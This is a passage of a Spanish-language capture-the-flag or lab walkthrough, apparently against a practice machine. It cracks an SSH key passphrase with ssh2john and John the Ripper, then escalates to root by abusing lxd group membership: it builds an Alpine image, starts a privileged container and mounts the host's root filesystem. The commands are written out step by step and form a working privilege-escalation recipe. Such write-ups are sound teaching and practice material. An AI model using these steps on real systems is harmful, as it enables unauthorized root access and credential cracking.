Copiamos la clave en nuestra maquina y le damos permisos con: chmod 600 id_rsa.
Con esta clave podemos intentar logearnos por ssh con ssh -i id_rsa john@10.10.192.142 pero nos pide la clave.
Teniendo en cuenta que tenemos un diccionario con posibles contraseñas podemos usar ssh2john
ssh2john id_rsa > hash
Y luego usando johny el diccionario podemos crackear la clave que se usaba con la clave RSA
Escalada de Privilegios
Ahora si ya podemos ingresar por ssh y empezar con la escalada de privilegios
Con el comando id podemos ver que formamos parte del grupo lxd e investigando un poco por internet vemos que somos capaces de Escalar privilegios gracias a este grupo.
En nuestra maquina
sudo su
# Instalamos los requerimientos
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
# Clonamos el repo
git clone https://github.com/lxc/distrobuilder
# Make distrobuilder
cd distrobuilder
make
# Preparamos la creacion de alphine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Creamos el container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
Despues, subimos los archivos lxd.tar.xz y rootfs.squashfs a la maquina vulnerable.
Agregamos las imagenes
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list # Podemos ver la nueva iimagen importada
Creamos un container y agregamos el path de root
lxc init alpine privesc -c security.privileged=true
lxc list #Listamos el container
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Executamos el container:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root # Aca es donde esta montado todo el equipo victima
Y listo, ya deberiamos tener privilegios como root.
Si alguna parte de la escalada de privilegios no les funciona, les dejo el respositorio para que puedan investigar ustedes mismos Hacktricks Github.